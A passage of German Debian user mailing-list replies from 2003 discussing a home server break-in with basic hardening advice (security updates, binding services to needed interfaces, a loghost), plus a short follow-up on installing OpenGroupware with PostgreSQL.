> Passwörter geschützt. Ansich hatte ich immer gedacht Linux wär dann sicher,

Falsch gedacht.

Es gibt keine größere Lüge als "Linux ist per Default sicher".
Vorzugsweise werden solche Märchen von einschlägiger Fach- und
Lachliteratur sowie von allzu eifrigen Predigern des wahren Glaubens
(Kicher, Gacker, lach, *ROTFL*) verbreitet.

Stets im Hinterkopf behalten:

*) Sicherheit ist ein Prozess, kein Zustand.
*) Dieser Prozess erreicht _nie_ _nie_ _niemalsnicht_ 100%

Ich bin übrigens der Meinung, daß (Netzwerktechnisch) ein Linux-Rechner
in unkundigen Händen mehr Schaden anrichten kann als eine Win-Büchse in
kundigen Händen.

Im speziellen bei Debian sollte man auf folgendes Achten:
Die Release-Zyklen sind bei Debian relativ groß. Auch die
"sub-Releases", also 3.0r0, 3.0r1, usw., lassen sich meist viel Zeit.
Deshalb ist es _unumgänglich_ security.debian.org mit in die apt-quellen
einzubeziehen. In durch Marketing vorangetriebenen Distributionszyklen
fällt das nicht so sehr ins Gewicht, da, sofern man immer updated, öfter
frische und damit meist auch fehlerbereinigte Software ins System kommt.
Das dabei auch immer mal wieder neue Fehler ins System kommen sollte man
aber auch niucht vergessen.
Die Security Updates von Debian stellen hierzu einen "Goldenen
Mittelweg" da. Hier werden bewußt auch in neue Upstream Versionen
eingearbeitete Fixes auf die Version in Stable backgeported. Und selbst
hierbei schleichen sich gelegentlich Fehler ein; Ich kann mich da an
einen Fix erinner, der 1 Tag später gleich wieder gefixt wurde.

Ein guter und meist auch sehrhilfreicher Tip ist folgender:
*) Jeder laufende Service sollte nur an die Interfaces gebunden werden,
   auf denen er auch gebraucht wird.

Damit hast du schon mal viel gewonnen. Ein Apache der ein bischen
Intranet macht muß nicht von Außen erreichbar sein. Damit hast Du
gleichzeitig eventuelle Apache-Exploits _von Außen_ abgewehrt. Sollte
jemand von innen einen Angriff fahren bringt die das natürlich nix.

> jetzt bin ich auf jeden Fall ziemlich enttäuscht und 'freue' mich jetzt
> schon dadrauf alles neu zu installieren.

Das solltest Du auf _jeden_ Fall tun. Mach aber bitte nicht den Fehler
die Kiste wieder ganz genauso aufzusetzen, den ndann: Gewinn = 0

> 
> Daten waren zum Glück keine drauf und die ganzen Configs aus /etc hab ich
> sowieso gesichert.
> 
> Also kein Verlust. Aber ich will halt wissen, wie so etwas passieren kann.
> Aber so wie ich das sehe krieg ich das ohne die Logs eh nicht raus.

Ein Loghost regelt gelegentlich.

> __
> Björn


gruss
f


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Re: Fw: Einbruch in Rechner

2003-07-20 Diskussionsfäden Frank Lorenzen
On Sun, Jul 20, 2003 at 04:06:18PM +0200, Peter Schubert wrote:
> Björn Gaworski schrieb:
> 
> >Also es zu merken war nicht schwer: ich hatte nen fremden Useraccount in
> >meinem System, die Netzwerkkarte zum lokalen Netz läuft nicht mehr und ich
> >kann als root keine Netzwerkeinstellungen vornehmen.
> >
> >__
> >Björn
> >
> > 
> >
> mal von der reinen menschlichen Logik her -
> 
> dann muss der "Einbrecher" aber ein ziemlicher Idiot sein, wenn er noch 
> einen eigenen und damit "hausfremden" User-Account hinterläßt. Hat das 
> eventuell Linux nicht selbst angelegt und es war einer der vielen vielen 
> Nutzer, die Linux namentlich vorhält?

Ich hörte noch nie davon, daß das System einen Systemuser "musti" hat.

> Also, ich dachte nur, wenn ich irgendwo in einen fremden Rechner 
> reinkriechen würde, würde ich doch nicht noch einen Haufen Spuren 
> hinterlassen.
> Aber wie gesagt, dass ist die naive logische Denkweise eines Anfängers. 
> Hacker haben eventuell eine andere Logik ;-)

Soweit ich das hier mitbekommen habe, war das weder Hacker noch Cracker
sondern einfach irgendein Hirni, der keinen blassen Schimmer hatte.

Das einzig inetressante an der Geschichte ist herauszufinden _wie_ er
ins System gekommen ist. Dabei sollte man sich folgendes im Hinterkopf
behalten:
- Der Typ ist ein Dilletant
- Er hat mit sicherheit nicht irgendeine neue Lücke gefunden, sondern
  was bewährtes genutzt.
- Höchstwahrscheinlich was altbewährtes.

Die Auswahl dürfte nicht allzugroß sein.
 
> 
> Gruss
> Peter
> 

gruss
f


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Re: OpenGroupware.org

2003-07-17 Diskussionsfäden Frank Lorenzen
On Thu, Jul 17, 2003 at 12:43:34AM +0200, Frank Lorenzen wrote:
[...]
> http://helms-deep.cable.nu/~rwh/howtos/OpenGroupware-Debian-HOWTO.html
> Nebenbei hervorragend über http://www.opengroupware.org zu finden.
> 
> Gebracht hats mir nix. Denn es läuft nicht richtig, trotz erfolgrteicher
> Installation.

Falls es jemand interessiert:
Seit ich in oben erwähntem Howto den "if you have problems with this,
try psql -U ogo ogo" Teil entdeckt habe, läuft es auch.
Die kursierenden Anleitungen beziehen sich stellenweise wohl noch auf
ältere Postgres Versionen. So ist zum Beispiel auch von:
local   all all   trust
[...]
in pg_hba.conf die Rede. Das ist für pg-7.2.1-2woody2 schlicht und
einfach ein "all" zuviel.


gruss
f


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